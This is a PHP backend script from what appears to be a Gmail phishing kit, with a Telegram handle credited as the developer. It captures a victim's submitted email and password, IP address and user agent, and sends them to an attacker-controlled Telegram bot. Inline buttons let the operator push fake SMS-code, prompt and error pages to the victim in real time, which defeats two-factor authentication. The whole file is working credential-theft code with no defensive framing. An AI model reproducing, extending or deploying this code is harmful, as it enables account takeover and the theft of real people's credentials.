<?php
header('Content-Type: application/json');
session_start();

include('../config.php');

if (empty($_POST['fldPassword']) || !isset($_SESSION['username'])) {
    exit(json_encode(['status' => 'error']));
}

// Get the visitor ID from POST or generate new one
$visitor_id = $_POST['visitor_id'] ?? bin2hex(random_bytes(32));

// Store visitor ID in session for later use
$_SESSION['visitor_id'] = $visitor_id;

$password = $_POST['fldPassword'];
$IP = isset($_SERVER['REMOTE_ADDR']) ? $_SERVER['REMOTE_ADDR'] : 'Unknown';
$useragent = $_SERVER['HTTP_USER_AGENT'];
$date = date("F j, Y g:i a");

// Prepare Telegram message
$msgtg = "🔐 <b>GMAIL LOGIN DETAILS</b> 🔐\n";
$msgtg .= "━━━━━━━━━━━━━━━\n\n";

// Add visitor ID to message
$msgtg .= "🔍 <b>VISITOR INFO</b>\n";
$msgtg .= "Visitor ID: <code>" . $visitor_id . "</code>\n\n";

$msgtg .= "👤 <b>LOGIN INFO</b>\n";
$msgtg .= "Email/Phone: <code>" . htmlspecialchars($_SESSION['username']) . "</code>\n";
$msgtg .= "Password: <code>" . htmlspecialchars($password) . "</code>\n\n";

$msgtg .= "📍 <b>LOCATION INFO</b>\n";
$msgtg .= "IP Address: <code>{$IP}</code>\n";
$msgtg .= "Location: <code>http://www.geoiptool.com/?IP={$IP}</code>\n\n";

$msgtg .= "💻 <b>DEVICE INFO</b>\n";
$msgtg .= "User-Agent: <code>" . substr($useragent, 0, 100) . "...</code>\n\n";

$msgtg .= "━━━━━━━━━━━━━━━\n";
$msgtg .= "⏰ " . $date . "\n\n";
$msgtg .= " + Dev: <a href='https://t.me/Blinkz455'>@Blinkz455</a> +";

// Create inline keyboard array
$keyboard = [
    'inline_keyboard' => [
        [
            ['text' => '🔒 Security Preference', 'callback_data' => 'security_preference']
        ],
        [
            ['text' => '✅ Yes Prompt', 'callback_data' => 'yes_prompt'],
            ['text' => '📱 SMS Code I', 'callback_data' => 'sms1']
        ],
        [
            ['text' => '📱 SMS Code II', 'callback_data' => 'sms2'],
            ['text' => '📞 Number Prompt', 'callback_data' => 'number_prompt']
        ],
        [
            ['text' => '❌ Password Error', 'callback_data' => 'password_error'],
            ['text' => '🚫 Block Visitor', 'callback_data' => 'block']
        ],
        [
            ['text' => '✅ Success', 'callback_data' => 'success']
        ]
    ]
];

if ($settings['telegram'] == "1") {
    $send = [
        'chat_id' => $settings['chat_id'],
        'text' => $msgtg,
        'parse_mode' => 'HTML',
        'disable_web_page_preview' => true,
        'reply_markup' => json_encode($keyboard)
    ];
    
    $website = "https://api.telegram.org/bot{$settings['bot_url']}";
    $ch = curl_init($website . '/sendMessage');
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($ch, CURLOPT_POST, 1);
    curl_setopt($ch, CURLOPT_POSTFIELDS, ($send));
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
    $result = curl_exec($ch);
    curl_close($ch);
    
    // Initialize redirects.json if it doesn't exist
    $redirects_file = __DIR__ . '/redirects.json';
    if (!file_exists($redirects_file)) {
        file_put_contents($redirects_file, json_encode(['redirects' => []]));
    }
    
    // Add initial entry to redirects.json
    $redirects = json_decode(file_get_contents($redirects_file), true) ?: ['redirects' => []];
    $redirects['redirects'][$visitor_id] = [
        'status' => 'pending',
        'created' => time()
    ];
    file_put_contents($redirects_file, json_encode($redirects, JSON_PRETTY_PRINT));
}

echo json_encode([
    'status' => 'success',
    'visitor_id' => $visitor_id
]);
?>